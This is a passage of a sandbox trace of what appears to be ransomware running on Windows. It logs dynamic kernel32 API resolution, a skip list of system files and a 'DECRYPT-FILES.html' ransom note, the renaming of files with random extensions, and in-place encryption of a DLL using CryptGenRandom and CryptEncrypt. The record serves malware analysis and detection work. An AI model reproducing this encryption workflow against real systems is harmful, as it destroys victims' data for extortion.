returned="CreateHardLinkW" [0132.222] lstrlenA (lpString="CREATEHARDLINKW") returned 15 [0132.222] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateIoCompletionPort" | out: lpString1="CreateIoCompletionPort") returned="CreateIoCompletionPort" [0132.222] lstrlenA (lpString="CREATEIOCOMPLETIONPORT") returned 22 [0132.222] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateJobObjectA" | out: lpString1="CreateJobObjectA") returned="CreateJobObjectA" [0132.222] lstrlenA (lpString="CREATEJOBOBJECTA") returned 16 [0132.222] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateJobObjectW" | out: lpString1="CreateJobObjectW") returned="CreateJobObjectW" [0132.222] lstrlenA (lpString="CREATEJOBOBJECTW") returned 16 [0132.222] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateJobSet" | out: lpString1="CreateJobSet") returned="CreateJobSet" [0132.223] lstrlenA (lpString="CREATEJOBSET") returned 12 [0132.223] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateMailslotA" | out: lpString1="CreateMailslotA") returned="CreateMailslotA" [0132.223] lstrlenA (lpString="CREATEMAILSLOTA") returned 15 [0132.223] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateMailslotW" | out: lpString1="CreateMailslotW") returned="CreateMailslotW" [0132.223] lstrlenA (lpString="CREATEMAILSLOTW") returned 15 [0132.223] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateMemoryResourceNotification" | out: lpString1="CreateMemoryResourceNotification") returned="CreateMemoryResourceNotification" [0132.223] lstrlenA (lpString="CREATEMEMORYRESOURCENOTIFICATION") returned 32 [0132.223] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateMutexA" | out: lpString1="CreateMutexA") returned="CreateMutexA" [0132.223] lstrlenA (lpString="CREATEMUTEXA") returned 12 [0132.223] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateMutexExA" | out: lpString1="CreateMutexExA") returned="CreateMutexExA" [0132.223] lstrlenA (lpString="CREATEMUTEXEXA") returned 14 [0132.223] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateMutexExW" | out: lpString1="CreateMutexExW") returned="CreateMutexExW" [0132.223] lstrlenA (lpString="CREATEMUTEXEXW") returned 14 [0132.223] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateMutexW" | out: lpString1="CreateMutexW") returned="CreateMutexW" [0132.223] lstrlenA (lpString="CREATEMUTEXW") returned 12 [0132.223] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateNamedPipeA" | out: lpString1="CreateNamedPipeA") returned="CreateNamedPipeA" [0132.223] lstrlenA (lpString="CREATENAMEDPIPEA") returned 16 [0132.223] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateNamedPipeW" | out: lpString1="CreateNamedPipeW") returned="CreateNamedPipeW" [0132.223] lstrlenA (lpString="CREATENAMEDPIPEW") returned 16 [0132.223] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreatePipe" | out: lpString1="CreatePipe") returned="CreatePipe" [0132.223] lstrlenA (lpString="CREATEPIPE") returned 10 [0132.223] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreatePrivateNamespaceA" | out: lpString1="CreatePrivateNamespaceA") returned="CreatePrivateNamespaceA" [0132.223] lstrlenA (lpString="CREATEPRIVATENAMESPACEA") returned 23 [0132.223] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreatePrivateNamespaceW" | out: lpString1="CreatePrivateNamespaceW") returned="CreatePrivateNamespaceW" [0132.223] lstrlenA (lpString="CREATEPRIVATENAMESPACEW") returned 23 [0132.223] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateProcessA" | out: lpString1="CreateProcessA") returned="CreateProcessA" [0132.223] lstrlenA (lpString="CREATEPROCESSA") returned 14 [0132.223] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateProcessAsUserA" | out: lpString1="CreateProcessAsUserA") returned="CreateProcessAsUserA" [0132.223] lstrlenA (lpString="CREATEPROCESSASUSERA") returned 20 [0132.223] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateProcessAsUserW" | out: lpString1="CreateProcessAsUserW") returned="CreateProcessAsUserW" [0132.223] lstrlenA (lpString="CREATEPROCESSASUSERW") returned 20 [0132.223] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateProcessInternalA" | out: lpString1="CreateProcessInternalA") returned="CreateProcessInternalA" [0132.223] lstrlenA (lpString="CREATEPROCESSINTERNALA") returned 22 [0132.223] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateProcessInternalW" | out: lpString1="CreateProcessInternalW") returned="CreateProcessInternalW" [0132.223] lstrlenA (lpString="CREATEPROCESSINTERNALW") returned 22 [0132.223] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateProcessW" | out: lpString1="CreateProcessW") returned="CreateProcessW" [0132.223] lstrlenA (lpString="CREATEPROCESSW") returned 14 [0132.223] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateRemoteThread" | out: lpString1="CreateRemoteThread") returned="CreateRemoteThread" [0132.223] lstrlenA (lpString="CREATEREMOTETHREAD") returned 18 [0132.223] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateRemoteThreadEx" | out: lpString1="CreateRemoteThreadEx") returned="CreateRemoteThreadEx" [0132.223] lstrlenA (lpString="CREATEREMOTETHREADEX") returned 20 [0132.223] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateSemaphoreA" | out: lpString1="CreateSemaphoreA") returned="CreateSemaphoreA" [0132.223] lstrlenA (lpString="CREATESEMAPHOREA") returned 16 [0132.224] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateSemaphoreExA" | out: lpString1="CreateSemaphoreExA") returned="CreateSemaphoreExA" [0132.224] lstrlenA (lpString="CREATESEMAPHOREEXA") returned 18 [0132.224] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateSemaphoreExW" | out: lpString1="CreateSemaphoreExW") returned="CreateSemaphoreExW" [0132.224] lstrlenA (lpString="CREATESEMAPHOREEXW") returned 18 [0132.224] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateSemaphoreW" | out: lpString1="CreateSemaphoreW") returned="CreateSemaphoreW" [0132.224] lstrlenA (lpString="CREATESEMAPHOREW") returned 16 [0132.224] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateSocketHandle" | out: lpString1="CreateSocketHandle") returned="CreateSocketHandle" [0132.224] lstrlenA (lpString="CREATESOCKETHANDLE") returned 18 [0132.224] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateSymbolicLinkA" | out: lpString1="CreateSymbolicLinkA") returned="CreateSymbolicLinkA" [0132.224] lstrlenA (lpString="CREATESYMBOLICLINKA") returned 19 [0132.224] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateSymbolicLinkTransactedA" | out: lpString1="CreateSymbolicLinkTransactedA") returned="CreateSymbolicLinkTransactedA" [0132.224] lstrlenA (lpString="CREATESYMBOLICLINKTRANSACTEDA") returned 29 [0132.224] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateSymbolicLinkTransactedW" | out: lpString1="CreateSymbolicLinkTransactedW") returned="CreateSymbolicLinkTransactedW" [0132.224] lstrlenA (lpString="CREATESYMBOLICLINKTRANSACTEDW") returned 29 [0132.224] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateSymbolicLinkW" | out: lpString1="CreateSymbolicLinkW") returned="CreateSymbolicLinkW" [0132.224] lstrlenA (lpString="CREATESYMBOLICLINKW") returned 19 [0132.224] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateTapePartition" | out: lpString1="CreateTapePartition") returned="CreateTapePartition" [0132.224] lstrlenA (lpString="CREATETAPEPARTITION") returned 19 [0132.224] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateThread" | out: lpString1="CreateThread") returned="CreateThread" [0132.224] lstrlenA (lpString="CREATETHREAD") returned 12 [0132.224] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateThreadpool" | out: lpString1="CreateThreadpool") returned="CreateThreadpool" [0132.224] lstrlenA (lpString="CREATETHREADPOOL") returned 16 [0132.224] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateThreadpoolCleanupGroup" | out: lpString1="CreateThreadpoolCleanupGroup") returned="CreateThreadpoolCleanupGroup" [0132.224] lstrlenA (lpString="CREATETHREADPOOLCLEANUPGROUP") returned 28 [0132.224] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateThreadpoolIo" | out: lpString1="CreateThreadpoolIo") returned="CreateThreadpoolIo" [0132.224] lstrlenA (lpString="CREATETHREADPOOLIO") returned 18 [0132.224] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateThreadpoolTimer" | out: lpString1="CreateThreadpoolTimer") returned="CreateThreadpoolTimer" [0132.224] lstrlenA (lpString="CREATETHREADPOOLTIMER") returned 21 [0132.224] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateThreadpoolWait" | out: lpString1="CreateThreadpoolWait") returned="CreateThreadpoolWait" [0132.224] lstrlenA (lpString="CREATETHREADPOOLWAIT") returned 20 [0132.224] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateThreadpoolWork" | out: lpString1="CreateThreadpoolWork") returned="CreateThreadpoolWork" [0132.224] lstrlenA (lpString="CREATETHREADPOOLWORK") returned 20 [0132.224] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateTimerQueue" | out: lpString1="CreateTimerQueue") returned="CreateTimerQueue" [0132.224] lstrlenA (lpString="CREATETIMERQUEUE") returned 16 [0132.224] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateTimerQueueTimer" | out: lpString1="CreateTimerQueueTimer") returned="CreateTimerQueueTimer" [0132.225] wsprintfW (in: param_1=0x38be7e4, param_2="%s.%s" | out: param_1="C:\\588bce7c90097ed212\\1046\\LocalizedData.xml.26Zv") returned 49 [0132.225] MoveFileExW (lpExistingFileName="C:\\588bce7c90097ed212\\1046\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1046\\localizeddata.xml"), lpNewFileName="C:\\588bce7c90097ed212\\1046\\LocalizedData.xml.26Zv" (normalized: "c:\\588bce7c90097ed212\\1046\\localizeddata.xml.26zv"), dwFlags=0x0) returned 1 [0132.225] VirtualFree (lpAddress=0x2d20000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0132.226] VirtualFree (lpAddress=0x2d30000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0132.226] VirtualFree (lpAddress=0x2d10000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0132.226] FindNextFileW (in: hFindFile=0x3b81140, lpFindFileData=0x38bf814 | out: lpFindFileData=0x38bf814*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4758, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 1 [0132.226] lstrcmpiW (lpString1="SetupResources.dll", lpString2="DECRYPT-FILES.html") returned 1 [0132.226] lstrcmpiW (lpString1="SetupResources.dll", lpString2="autorun.inf") returned 1 [0132.226] lstrcmpiW (lpString1="SetupResources.dll", lpString2="boot.ini") returned 1 [0132.226] lstrcmpiW (lpString1="SetupResources.dll", lpString2="desktop.ini") returned 1 [0132.226] lstrcmpiW (lpString1="SetupResources.dll", lpString2="ntuser.dat") returned 1 [0132.226] lstrcmpiW (lpString1="SetupResources.dll", lpString2="iconcache.db") returned 1 [0132.226] lstrcmpiW (lpString1="SetupResources.dll", lpString2="bootsect.bak") returned 1 [0132.226] lstrcmpiW (lpString1="SetupResources.dll", lpString2="ntuser.dat.log") returned 1 [0132.226] lstrcmpiW (lpString1="SetupResources.dll", lpString2="thumbs.db") returned -1 [0132.226] lstrcmpiW (lpString1="SetupResources.dll", lpString2="Bootfont.bin") returned 1 [0132.226] lstrlenW (lpString="C:\\588bce7c90097ed212\\1046\\") returned 27 [0132.226] lstrlenW (lpString="SetupResources.dll") returned 18 [0132.226] lstrcpyW (in: lpString1=0x38befe4, lpString2="C:\\588bce7c90097ed212\\1046\\" | out: lpString1="C:\\588bce7c90097ed212\\1046\\") returned="C:\\588bce7c90097ed212\\1046\\" [0132.226] lstrcatW (in: lpString1="C:\\588bce7c90097ed212\\1046\\", lpString2="SetupResources.dll" | out: lpString1="C:\\588bce7c90097ed212\\1046\\SetupResources.dll") returned="C:\\588bce7c90097ed212\\1046\\SetupResources.dll" [0132.226] VirtualAlloc (lpAddress=0x0, dwSize=0x28, flAllocationType=0x3000, flProtect=0x4) returned 0x2d10000 [0132.227] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1046\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1046\\setupresources.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5f4 [0132.227] GetFileSizeEx (in: hFile=0x5f4, lpFileSize=0x38be7b0 | out: lpFileSize=0x38be7b0*=18264) returned 1 [0132.227] CreateFileMappingW (hFile=0x5f4, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x0, lpName=0x0) returned 0x5f8 [0132.227] MapViewOfFile (hFileMappingObject=0x5f8, dwDesiredAccess=0x2, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x2d20000 [0132.491] CryptGenRandom (in: hProv=0x6a26f8, dwLen=0x20, pbBuffer=0x2d10000 | out: pbBuffer=0x2d10000) returned 1 [0132.491] CryptGenRandom (in: hProv=0x6a26f8, dwLen=0x8, pbBuffer=0x2d10020 | out: pbBuffer=0x2d10020) returned 1 [0132.491] VirtualAlloc (lpAddress=0x0, dwSize=0x108, flAllocationType=0x3000, flProtect=0x4) returned 0x2d30000 [0132.492] CryptEncrypt (in: hKey=0x68c9e8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2d30000*, pdwDataLen=0x38be718*=0x28, dwBufLen=0x100 | out: pbData=0x2d30000*, pdwDataLen=0x38be718*=0x100) returned 1 [0132.492] VirtualAlloc (lpAddress=0x0, dwSize=0x1001, flAllocationType=0x3000, flProtect=0x4) returned 0x2d40000 [0132.493] VirtualFree (lpAddress=0x2d40000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0132.493] UnmapViewOfFile (lpBaseAddress=0x2d20000) returned 1 [0132.493] CloseHandle (hObject=0x5f8) returned 1 [0132.493] SetFilePointerEx (in: hFile=0x5f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0132.493] WriteFile (in: hFile=0x5f4, lpBuffer=0x2d30000*, nNumberOfBytesToWrite=0x108, lpNumberOfBytesWritten=0x38be738, lpOverlapped=0x0 | out: lpBuffer=0x2d30000*, lpNumberOfBytesWritten=0x38be738*=0x108, lpOverlapped=0x0) returned 1 [0132.494] CloseHandle (hObject=0x0) returned 0 [0132.494] CloseHandle (hObject=0x5f4) returned 1 [0132.495] VirtualFree (lpAddress=0x2d30000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0132.495] VirtualFree (lpAddress=0x2d10000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0132.496] GetTickCount () returned 0x367b4 [0132.496] VirtualAlloc (lpAddress=0x0, dwSize=0x18, flAllocationType=0x3000, flProtect=0x4) returned 0x2d10000 [0132.496] lstrlenW (lpString="qwertyuiopasdfghjklzxcvbnmQWERTYUIOPASDFGHJKLZXCVBNM1234567890") returned 62 [0132.496] VirtualAlloc (lpAddress=0x0, dwSize=0xe, flAllocationType=0x3000, flProtect=0x4) returned 0x2d20000 [0132.496] VirtualAlloc (lpAddress=0x0, dwSize=0x7e, flAllocationType=0x3000, flProtect=0x4) returned 0x2d30000 [0132.497] lstrlenA (lpString="kernel32.dll") returned 12 [0132.497] GetModuleHandleA (lpModuleName="kernel32.dll") returned 0x75e90000 [0132.497] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AcquireSRWLockExclusive" | out: lpString1="AcquireSRWLockExclusive") returned="AcquireSRWLockExclusive" [0132.497] lstrlenA (lpString="ACQUIRESRWLOCKEXCLUSIVE") returned 23 [0132.497] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AcquireSRWLockShared" | out: lpString1="AcquireSRWLockShared") returned="AcquireSRWLockShared" [0132.497] lstrlenA (lpString="ACQUIRESRWLOCKSHARED") returned 20 [0132.497] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ActivateActCtx" | out: lpString1="ActivateActCtx") returned="ActivateActCtx" [0132.497] lstrlenA (lpString="ACTIVATEACTCTX") returned 14 [0132.497] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ActivateActCtxWorker" | out: lpString1="ActivateActCtxWorker") returned="ActivateActCtxWorker" [0132.497] lstrlenA (lpString="ACTIVATEACTCTXWORKER") returned 20 [0132.497] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddAtomA" | out: lpString1="AddAtomA") returned="AddAtomA" [0132.497] lstrlenA (lpString="ADDATOMA") returned 8 [0132.497] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddAtomW" | out: lpString1="AddAtomW") returned="AddAtomW" [0132.497] lstrlenA (lpString="ADDATOMW") returned 8 [0132.497] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddConsoleAliasA" | out: lpString1="AddConsoleAliasA") returned="AddConsoleAliasA" [0132.497] lstrlenA (lpString="ADDCONSOLEALIASA") returned 16 [0132.497] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddConsoleAliasW" | out: lpString1="AddConsoleAliasW") returned="AddConsoleAliasW" [0132.497] lstrlenA (lpString="ADDCONSOLEALIASW") returned 16 [0132.497] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddDllDirectory" | out: lpString1="AddDllDirectory") returned="AddDllDirectory" [0132.497] lstrlenA (lpString="ADDDLLDIRECTORY") returned 15 [0132.497] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddIntegrityLabelToBoundaryDescriptor" | out: lpString1="AddIntegrityLabelToBoundaryDescriptor") returned="AddIntegrityLabelToBoundaryDescriptor" [0132.498] lstrlenA (lpString="ADDINTEGRITYLABELTOBOUNDARYDESCRIPTOR") returned 37 [0132.498] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddLocalAlternateComputerNameA" | out: lpString1="AddLocalAlternateComputerNameA") returned="AddLocalAlternateComputerNameA" [0132.498] lstrlenA (lpString="ADDLOCALALTERNATECOMPUTERNAMEA") returned 30 [0132.498] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddLocalAlternateComputerNameW" | out: lpString1="AddLocalAlternateComputerNameW") returned="AddLocalAlternateComputerNameW" [0132.498] lstrlenA (lpString="ADDLOCALALTERNATECOMPUTERNAMEW") returned 30 [0132.498] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddRefActCtx" | out: lpString1="AddRefActCtx") returned="AddRefActCtx" [0132.498] lstrlenA (lpString="ADDREFACTCTX") returned 12 [0132.498] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddRefActCtxWorker" | out: lpString1="AddRefActCtxWorker") returned="AddRefActCtxWorker" [0132.498] lstrlenA (lpString="ADDREFACTCTXWORKER") returned 18 [0132.498] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddResourceAttributeAce" | out: lpString1="AddResourceAttributeAce") returned="AddResourceAttributeAce" [0132.498] lstrlenA (lpString="ADDRESOURCEATTRIBUTEACE") returned 23 [0132.498] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddSIDToBoundaryDescriptor" | out: lpString1="AddSIDToBoundaryDescriptor") returned="AddSIDToBoundaryDescriptor" [0132.498] lstrlenA (lpString="ADDSIDTOBOUNDARYDESCRIPTOR") returned 26 [0132.498] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddScopedPolicyIDAce" | out: lpString1="AddScopedPolicyIDAce") returned="AddScopedPolicyIDAce" [0132.498] lstrlenA (lpString="ADDSCOPEDPOLICYIDACE") returned 20 [0132.498] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddSecureMemoryCacheCallback" | out: lpString1="AddSecureMemoryCacheCallback") returned="AddSecureMemoryCacheCallback" [0132.498] lstrlenA (lpString="ADDSECUREMEMORYCACHECALLBACK") returned 28 [0132.498] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddVectoredContinueHandler" | out: lpString1="AddVectoredContinueHandler") returned="AddVectoredContinueHandler" [0132.498] lstrlenA (lpString="ADDVECTOREDCONTINUEHANDLER") returned 26 [0132.498] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddVectoredExceptionHandler" | out: lpString1="AddVectoredExceptionHandler") returned="AddVectoredExceptionHandler" [0132.498] lstrlenA (lpString="ADDVECTOREDEXCEPTIONHANDLER") returned 27 [0132.498] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AdjustCalendarDate" | out: lpString1="AdjustCalendarDate") returned="AdjustCalendarDate" [0132.498] lstrlenA (lpString="ADJUSTCALENDARDATE") returned 18 [0132.498] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AllocConsole" | out: lpString1="AllocConsole") returned="AllocConsole" [0132.498] lstrlenA (lpString="ALLOCCONSOLE") returned 12 [0132.498] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AllocateUserPhysicalPages" | out: lpString1="AllocateUserPhysicalPages") returned="AllocateUserPhysicalPages" [0132.498] lstrlenA (lpString="ALLOCATEUSERPHYSICALPAGES") returned 25 [0132.498] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AllocateUserPhysicalPagesNuma" | out: lpString1="AllocateUserPhysicalPagesNuma") returned="AllocateUserPhysicalPagesNuma" [0132.498] lstrlenA (lpString="ALLOCATEUSERPHYSICALPAGESNUMA") returned 29 [0132.498] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AppPolicyGetClrCompat" | out: lpString1="AppPolicyGetClrCompat") returned="AppPolicyGetClrCompat" [0132.498] lstrlenA (lpString="APPPOLICYGETCLRCOMPAT") returned 21 [0132.498] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AppPolicyGetCreateFileAccess" | out: lpString1="AppPolicyGetCreateFileAccess") returned="AppPolicyGetCreateFileAccess" [0132.498] lstrlenA (lpString="APPPOLICYGETCREATEFILEACCESS") returned 28 [0132.498] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AppPolicyGetLifecycleManagement" | out: lpString1="AppPolicyGetLifecycleManagement") returned="AppPolicyGetLifecycleManagement" [0132.498] lstrlenA (lpString="APPPOLICYGETLIFECYCLEMANAGEMENT") returned 31 [0132.498] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AppPolicyGetMediaFoundationCodecLoading" | out: lpString1="AppPolicyGetMediaFoundationCodecLoading") returned="AppPolicyGetMediaFoundationCodecLoading" [0132.498] lstrlenA (lpString="APPPOLICYGETMEDIAFOUNDATIONCODECLOADING") returned 39 [0132.498] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AppPolicyGetProcessTerminationMethod" | out: lpString1="AppPolicyGetProcessTerminationMethod") returned="AppPolicyGetProcessTerminationMethod" [0132.498] lstrlenA (lpString="APPPOLICYGETPROCESSTERMINATIONMETHOD") returned 36 [0132.499] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AppPolicyGetShowDeveloperDiagnostic" | out: lpString1="AppPolicyGetShowDeveloperDiagnostic") returned="AppPolicyGetShowDeveloperDiagnostic" [0132.499] lstrlenA (lpString="APPPOLICYGETSHOWDEVELOPERDIAGNOSTIC") returned 35 [0132.499] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AppPolicyGetThreadInitializationType" | out: lpString1="AppPolicyGetThreadInitializationType") returned="AppPolicyGetThreadInitializationType" [0132.499] lstrlenA (lpString="APPPOLICYGETTHREADINITIALIZATIONTYPE") returned 36 [0132.499] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AppPolicyGetWindowingModel" | out: lpString1="AppPolicyGetWindowingModel") returned="AppPolicyGetWindowingModel" [0132.499] lstrlenA (lpString="APPPOLICYGETWINDOWINGMODEL") returned 26 [0132.499] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AppXGetOSMaxVersionTested" | out: lpString1="AppXGetOSMaxVersionTested") returned="AppXGetOSMaxVersionTested" [0132.499] lstrlenA (lpString="APPXGETOSMAXVERSIONTESTED") returned 25 [0132.499] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ApplicationRecoveryFinished" | out: lpString1="ApplicationRecoveryFinished") returned="ApplicationRecoveryFinished" [0132.499] lstrlenA (lpString="APPLICATIONRECOVERYFINISHED") returned 27 [0132.499] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ApplicationRecoveryInProgress" | out: lpString1="ApplicationRecoveryInProgress") returned="ApplicationRecoveryInProgress" [0132.499] lstrlenA (lpString="APPLICATIONRECOVERYINPROGRESS") returned 29 [0132.499] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AreFileApisANSI" | out: lpString1="AreFileApisANSI") returned="AreFileApisANSI" [0132.499] lstrlenA (lpString="AREFILEAPISANSI") returned 15 [0132.499] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AssignProcessToJobObject" | out: lpString1="AssignProcessToJobObject") returned="AssignProcessToJobObject" [0132.499] lstrlenA (lpString="ASSIGNPROCESSTOJOBOBJECT") returned 24 [0132.499] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AttachConsole" | out: lpString1="AttachConsole") returned="AttachConsole" [0132.499] lstrlenA (lpString="ATTACHCONSOLE") returned 13 [0132.499] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BackupRead" | out: lpString1="BackupRead") returned="BackupRead" [0132.499] lstrlenA (lpString="BACKUPREAD") returned 10 [0132.499] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BackupSeek" | out: lpString1="BackupSeek") returned="BackupSeek" [0132.499] lstrlenA (lpString="BACKUPSEEK") returned 10 [0132.499] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BackupWrite" | out: lpString1="BackupWrite") returned="BackupWrite" [0132.499] lstrlenA (lpString="BACKUPWRITE") returned 11 [0132.499] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseCheckAppcompatCache" | out: lpString1="BaseCheckAppcompatCache") returned="BaseCheckAppcompatCache" [0132.499] lstrlenA (lpString="BASECHECKAPPCOMPATCACHE") returned 23 [0132.499] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseCheckAppcompatCacheEx" | out: lpString1="BaseCheckAppcompatCacheEx") returned="BaseCheckAppcompatCacheEx" [0132.499] lstrlenA (lpString="BASECHECKAPPCOMPATCACHEEX") returned 25 [0132.499] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseCheckAppcompatCacheExWorker" | out: lpString1="BaseCheckAppcompatCacheExWorker") returned="BaseCheckAppcompatCacheExWorker" [0132.499] lstrlenA (lpString="BASECHECKAPPCOMPATCACHEEXWORKER") returned 31 [0132.499] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseCheckAppcompatCacheWorker" | out: lpString1="BaseCheckAppcompatCacheWorker") returned="BaseCheckAppcompatCacheWorker" [0132.499] lstrlenA (lpString="BASECHECKAPPCOMPATCACHEWORKER") returned 29 [0132.499] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseCheckElevation" | out: lpString1="BaseCheckElevation") returned="BaseCheckElevation" [0132.499] lstrlenA (lpString="BASECHECKELEVATION") returned 18 [0132.499] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseCleanupAppcompatCacheSupport" | out: lpString1="BaseCleanupAppcompatCacheSupport") returned="BaseCleanupAppcompatCacheSupport" [0132.499] lstrlenA (lpString="BASECLEANUPAPPCOMPATCACHESUPPORT") returned 32 [0132.499] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseCleanupAppcompatCacheSupportWorker" | out: lpString1="BaseCleanupAppcompatCacheSupportWorker") returned="BaseCleanupAppcompatCacheSupportWorker" [0132.500] lstrlenA (lpString="BASECLEANUPAPPCOMPATCACHESUPPORTWORKER") returned 38 [0132.500] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseDestroyVDMEnvironment" | out: lpString1="BaseDestroyVDMEnvironment") returned="BaseDestroyVDMEnvironment" [0132.500] lstrlenA (lpString="BASEDESTROYVDMENVIRONMENT") returned 25 [0132.500] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseDllReadWriteIniFile" | out: lpString1="BaseDllReadWriteIniFile") returned="BaseDllReadWriteIniFile" [0132.500] lstrlenA (lpString="BASEDLLREADWRITEINIFILE") returned 23 [0132.500] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseDumpAppcompatCache" | out: lpString1="BaseDumpAppcompatCache") returned="BaseDumpAppcompatCache" [0132.500] lstrlenA (lpString="BASEDUMPAPPCOMPATCACHE") returned 22 [0132.500] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseDumpAppcompatCacheWorker" | out: lpString1="BaseDumpAppcompatCacheWorker") 